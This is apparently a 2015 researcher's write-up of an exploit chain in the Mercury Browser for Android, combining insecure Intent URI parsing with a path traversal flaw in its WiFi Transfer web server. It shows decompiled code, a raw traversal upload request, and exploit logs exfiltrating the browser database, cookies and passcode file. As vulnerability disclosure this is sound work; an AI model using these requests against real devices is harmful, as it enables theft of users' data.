Exploiting the Mercury Browser for Android


The Mercury Browser for Android suffers from an insecure Intent URI scheme implementation and a path traversal vulnerability within a custom web server used to support its WiFi Transfer feature. Chaining these vulnerabilities together can allow a remote attacker to perform arbitrary reading and writing of files within the Mercury Browser's data directory.

The Mercury Browser currently boasts 500,000 - 1,000,000 installs, and has last been updated on August 17, 2015.

Insecure Intent URI Scheme Implementation

The first thing I like to look for when reverse engineering Android web browsers, is determining the use of the Intent URI scheme and whether it has been implemented insecurely.

I can easily locate the usage by loading the browser inside of Lobotomy and leveraging the bowser module:

(lobotomy) loader /Users/benjaminwatson/Android-Web-Browsers/mercury/apk/com.ilegendsoft.mercury.apk
[2015-08-23 16:11:49.179402] Loading : /Users/benjaminwatson/Android-Web-Browsers/mercury/apk/com.ilegendsoft.mercury.apk
(lobotomy) bowser enum
[2015-08-23 16:12:11.632313] Searching for parseUri()
1 Lcom/ilegendsoft/mercury/ui/widget/webview/g;->shouldOverrideUrlLoading(Landroid/webkit/WebView; Ljava/lang/String;)Z (0x260) ---> Landroid/content/Intent;->parseUri(Ljava/lang/String; I)Landroid/content/Intent;  
1 Lcom/ilegendsoft/mercury/ui/widget/webview/g;->shouldOverrideUrlLoading(Landroid/webkit/WebView; Ljava/lang/String;)Z (0x294) ---> Landroid/content/Intent;->parseUri(Ljava/lang/String; I)Landroid/content/Intent;  
1 Lcom/ilegendsoft/mercury/ui/widget/webview/g;->shouldOverrideUrlLoading(Landroid/webkit/WebView; Ljava/lang/String;)Z (0x31c) ---> Landroid/content/Intent;->parseUri(Ljava/lang/String; I)Landroid/content/Intent;  

The bowser module returned a few locations where parseUri() was being called, which is how the Intent URI scheme is converted into an Intent object.

After some inspection, I was able to verify that the browser had an insecure implementation:

if (paramString.startsWith("intent://")) {  
        paramWebView = Intent.parseUri(paramString, 1);
        paramString = paramWebView.getDataString();
        if ((paramString != null) && (paramString.startsWith("com.amazon.mobile.shopping://amazon.com")))
          paramWebView.setData(Uri.parse("market://details?id=" + paramWebView.getPackage()));
        return true;
      catch (Exception paramWebView)
        return true;

Lobotomy also comes with a Flask backed set of web services that can be used to trigger this invocation through an endpoint as well:

def intent_service():

    Triggers the parsing of the intent:// URI scheme

    response = """

                <meta charset="utf-8" />
                <title>Trigger parseUri()</title>


    return response

WiFi Manager

The insecure implementation of the Intent URI scheme allows an attacker to invoke private Activities through a crafted HTML page. When this vulnerability exists I usually stick with targeting Activities that are private to the application, and cannot be invoked externally otherwise.

After loading up the Mercury Browser into Lobotomy I ran the components module to look for potentially candidates:

[2015-08-23 13:07:39.810710] Activity : com.ilegendsoft.mercury.ui.activities.PasscodeActivity
[2015-08-23 13:07:39.810722] Activity : com.ilegendsoft.mercury.ui.activities.bookmark.BookmarksImportFilesActivity
[2015-08-23 13:07:39.810732] Activity : com.ilegendsoft.mercury.ui.activities.FlipTabsActivity
[2015-08-23 13:07:39.810741] Activity : com.ilegendsoft.mercury.ui.activities.SplashActivity
[2015-08-23 13:07:39.810750] Activity : com.ilegendsoft.mercury.external.wfm.ui.WFMActivity2
[2015-08-23 13:07:39.810759] Activity : com.ilegendsoft.mercury.external.zxing.CaptureActivity
[2015-08-23 13:07:39.810767] Activity : com.dropbox.client2.android.AuthActivity
[2015-08-23 13:07:39.810830] Activity : com.ilegendsoft.mercury.ui.activities.zcloud.PushUrlActivity
[2015-08-23 13:07:39.810864] Activity : com.ilegendsoft.mercury.ui.activities.filemanager.FileManagerActivity
[2015-08-23 13:07:39.810877] Activity : com.ilegendsoft.mercury.ui.activities.filemanager.SubFolderActivity

After some trial and error I stumbled onto - com.ilegendsoft.mercury.external.wfm.ui.WFMActivity2 - which is a private Activity within the Mercury Browser. After a bit of reverse engineering I discovered that this Activity invoked a “feature”, which allowed the backup and restoration of anything stored on the sdcard by the browser and any other application, or as it is coined a WiFi Transfer. It appeared that once the Activity was invoked this caused a Broadcast Receiver to be registered to handle the action org.join.action.SERV_AVAILABLE. After even more digging I noticed a service called "WebService" was being created and with explicit calls around binding to the local device. Within the target WebService’s onBind() method a call is being made to openWebServer():

public IBinder onBind(Intent paramIntent)  
    return this.mBinder;

  private void openWebServer()
    if (this.webServer != null)

So at this point it was very apparent to me that a custom web server was being instantiated to serve up the data on the sdcard by the browser which was available to any other device on the local network, so I inspected the WebServer.class a bit further which handles all of the primary functionality:

    ((HttpRequestHandlerRegistry)localObject3).register("/dodownload", new HttpDownHandler(this.webRoot));
    ((HttpRequestHandlerRegistry)localObject3).register("/dodelete", new HttpDelHandler(this.webRoot));
    ((HttpRequestHandlerRegistry)localObject3).register("/doupload", new HttpUpHandler(this.webRoot));
    ((HttpRequestHandlerRegistry)localObject3).register("/doprogress", new HttpProgressHandler());

Here you can see the WebServer registering specific URI paths for downloading, deleting, and uploading files. The other magical thing about the web server is that it always binds to the same port, so I configured my testing device to start proxying traffic and playing with its functionality.

Path Traversal Vulnerability

After working the web server over a bit , I discovered there was a path traversal vulnerability that I could exploit to read data from within Mercury’s data directory:


This was a great find in the sense that it meant I could essentially download and exfiltrate files being stored by the browser's data directory. It did not take me long as well to validate that I could write and overwrite files within the browser’s directory using the upload functionality and path traversal vulnerability:

POST /doupload?dir=../../../../data/data/com.ilegendsoft.mercury/shared_prefs/&id=c2f18b1f-8d77-4a73-98f8-2cb1461f70c4 HTTP/1.1  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0) Gecko/20100101 Firefox/39.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Content-Type: multipart/form-data; boundary=---------------------------20198766556454488091118231866  
Content-Length: 228

Content-Disposition: form-data; name="Download/"; filename="test.txt"  
Content-Type: text/plain



[email protected]:/data/data/com.ilegendsoft.mercury/shared_prefs # ls  


In order to combine these vulnerabilities into one nice exploitation chain here are the steps that need to happen:

  • Serve a crafted HTML page to invoke the WiFi Manager Activity with the Intent URI scheme
  • Capture the IP address from the target device
  • Poll until receiving notice of the Activity invocation
  • Exploit the path traversal vulnerability and exfiltrate files from browser's data directory

First we serve up our targeted HTML page up to the browser through a URL:

                            <meta charset="utf-8" />

[~/Tools/mobile/android/lobotomy]> python web/run.py runserver -h
 * Running on (Press CTRL+C to quit)
Mozilla/5.0 (Linux; Android 4.4.3; Nexus 5 Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/ Mobile Safari/537.36 - - [23/Aug/2015 16:37:13] "GET /exploits/mercury/wfm/intent HTTP/1.1" 200 - - - [23/Aug/2015 16:37:13] "GET /favicon.ico HTTP/1.1" 404  

In the background we have another script polling the web service waiting for a notification to proceed. Once it receives this notification, it will exploit the path traversal vulnerability and begin downloading some targeted files:

└[~/Tools/mobile/android/lobotomy/framework/brains/exploits/browser/mercury]> python exploit.py
[2015-08-23 16:40:32.074803] Polling ...
[2015-08-23 16:40:34.095055] Polling ...
[2015-08-23 16:40:36.104810] Polling ...
[2015-08-23 16:40:38.114483] Polling ...
[2015-08-23 16:40:38.120936] Exploit engaged! Target IP :
[2015-08-23 16:40:38.120983] Exfilling /databases/mercury_database.db
[2015-08-23 16:40:38.278997] Exfilling /app_webview/Cookies
[2015-08-23 16:40:38.293556] Exfilling /shared_prefs/passcode.xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>  
    <string name="passcode">1234</string>


It is highly recommended that if you're using the Mercury Browser for Android, that you remove the browser immediately and choose an alternative.